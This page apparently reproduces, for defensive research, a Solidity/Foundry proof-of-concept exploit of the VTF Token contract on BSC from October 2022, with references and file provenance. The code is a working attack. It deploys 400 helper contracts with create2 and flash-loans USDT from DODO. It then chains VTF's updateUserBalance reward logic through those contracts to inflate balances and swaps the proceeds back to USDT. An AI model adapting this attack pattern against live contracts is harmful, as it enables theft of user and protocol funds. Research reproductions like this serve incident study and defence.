Public reproduction file
src/test/2022-10/VTF_exp.sol
Public reproduction file for dataset entry VTF Token.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @Analysis8// https://twitter.com/BlockSecTeam/status/15855751299369779209// https://twitter.com/peckshield/status/158557269424198860910// https://twitter.com/BeosinAlert/status/158558703098121830511// @TX12// https://bscscan.com/tx/0xeeaf7e9662a7488ea724223c5156e209b630cdc21c961b85868fe45b64d9b08613// https://bscscan.com/tx/0xc2d2d7164a9d3cfce1e1dac7dc328b350c693feb0a492a6989ceca7104eef9b715interface IVTF is IERC20 {16 function updateUserBalance(17 address _user18 ) external;19}21interface IROUTER {22 function swapExactTokensForTokensSupportingFeeOnTransferTokens(23 uint256 amountIn,24 uint256 amountOutMin,25 address[] calldata path,26 address to,27 uint256 deadline28 ) external;29}31contract claimReward {32 IVTF VTF = IVTF(0xc6548caF18e20F88cC437a52B6D388b0D54d830D);34 constructor() {35 VTF.updateUserBalance(address(this));36 }38 function claim(39 address receiver40 ) external {41 VTF.updateUserBalance(address(this));42 VTF.transfer(receiver, VTF.balanceOf(address(this)));43 }44}46contract ContractTest is Test {47 address constant dodo = 0x26d0c625e5F5D6de034495fbDe1F6e9377185618;48 IVTF VTF = IVTF(0xc6548caF18e20F88cC437a52B6D388b0D54d830D);49 IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);50 IROUTER Router = IROUTER(0x7529740ECa172707D8edBCcdD2Cba3d140ACBd85);51 address[] public contractList;53 CheatCodes constant cheat = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);55 // ankr rpc bsc maybe unavailable, please use QuickNode56 function setUp() public {57 cheat.createSelectFork("bsc", 22_535_101);58 }60 function testExploit() public {61 contractFactory();62 // change time to pass time check63 cheat.warp(block.timestamp + 2 * 24 * 60 * 60);64 DVM(dodo).flashLoan(0, 100_000 * 1e18, address(this), new bytes(1));66 emit log_named_decimal_uint("[End] Attacker USDT balance after exploit", USDT.balanceOf(address(this)), 18);67 }69 function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {70 USDTToVTF();71 VTF.transfer(contractList[0], VTF.balanceOf(address(this)));72 for (uint256 i = 0; i < contractList.length - 1; ++i) {73 (bool success,) = contractList[i].call(abi.encodeWithSignature("claim(address)", contractList[i + 1]));74 require(success);75 }76 uint256 index = contractList.length - 1;77 (bool success,) = contractList[index].call(abi.encodeWithSignature("claim(address)", address(this)));78 require(success);79 VTFToUSDT();80 USDT.transfer(dodo, 100_000 * 1e18);81 }83 function USDTToVTF() internal {84 USDT.approve(address(Router), type(uint256).max);85 address[] memory path = new address[](2);86 path[0] = address(USDT);87 path[1] = address(VTF);88 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(89 100_000 * 1e18, 0, path, address(this), block.timestamp90 );91 }93 function VTFToUSDT() internal {94 VTF.approve(address(Router), type(uint256).max);95 address[] memory path = new address[](2);96 path[0] = address(VTF);97 path[1] = address(USDT);98 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(99 VTF.balanceOf(address(this)), 0, path, address(this), block.timestamp100 );101 }103 function contractFactory() public {104 address _add;105 bytes memory bytecode = type(claimReward).creationCode;106 for (uint256 _salt = 0; _salt < 400; _salt++) {107 assembly {108 _add := create2(0, add(bytecode, 32), mload(bytecode), _salt)109 }110 contractList.push(_add);111 }112 }113}Analysis
Dataset entry
Public Foundry test for “VTF Token” (2022-10-27). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2022-10/ATK_exp.solSame month in the dataset · 97 lines
- src/test/2022-10/BabySwap_exp.solSame month in the dataset · 134 lines
- src/test/2022-10/BEGO_exp.solSame month in the dataset · 70 lines
- src/test/2022-10/Carrot_exp.solSame month in the dataset · 149 lines
- src/test/2022-10/EFLeverVault_exp.solSame month in the dataset · 92 lines
- src/test/2022-10/HEALTH_exp.solSame month in the dataset · 105 lines
- src/test/2022-10/HPAY_exp.solSame month in the dataset · 150 lines
- src/test/2022-10/INUKO_exp.solSame month in the dataset · 327 lines
- src/test/2022-10/Market_exp.solSame month in the dataset · 339 lines
- src/test/2022-10/MEVa47b_exp.solSame month in the dataset · 126 lines
- src/test/2022-10/MulticallWithoutCheck_exp.solSame month in the dataset · 46 lines
- src/test/2022-10/N00d_exp.solSame month in the dataset · 94 lines
- src/test/2022-10/OlympusDao_exp.solSame month in the dataset · 61 lines
- src/test/2022-10/PLTD_exp.solSame month in the dataset · 67 lines
- src/test/2022-10/RabbyWallet_SwapRouter_exp.solSame month in the dataset · 148 lines
- src/test/2022-10/RES_exp.solSame month in the dataset · 181 lines
- src/test/2022-10/RL_exp.solSame month in the dataset · 128 lines
- src/test/2022-10/TeamFinance_exp.solSame month in the dataset · 274 lines
- src/test/2022-10/Templedao_exp.solSame month in the dataset · 66 lines
- src/test/2022-10/TransitSwap_exp.solSame month in the dataset · 70 lines
- src/test/2022-10/Uerii_exp.solSame month in the dataset · 96 lines
- src/test/2022-10/ULME_exp.solSame month in the dataset · 258 lines
- src/test/2022-10/XaveFinance_exp.solSame month in the dataset · 220 lines
- src/test/2023-11/3913_exp.solSame protocol or name in the dataset · 163 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Reference: https://twitter.com/BlockSecTeam/status/1585575129936977920
- Reference: https://twitter.com/peckshield/status/1585572694241988609
- Reference: https://twitter.com/BeosinAlert/status/1585587030981218305
- Explorer: https://bscscan.com/tx/0xeeaf7e9662a7488ea724223c5156e209b630cdc21c961b85868fe45b64d9b086
- Explorer: https://bscscan.com/tx/0xc2d2d7164a9d3cfce1e1dac7dc328b350c693feb0a492a6989ceca7104eef9b7
File record
- Name
- VTF Token
- Path
- src/test/2022-10/VTF_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 9cb95ce0e7654fd4117f61c9b4a29a8aac388b2a
- Language
- Solidity
- Size
- 114 lines
- Date
- 2022-10-27
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2022-10/VTF_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 9cb95ce0e7654fd4117f61c9b4a29a8aac388b2a, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.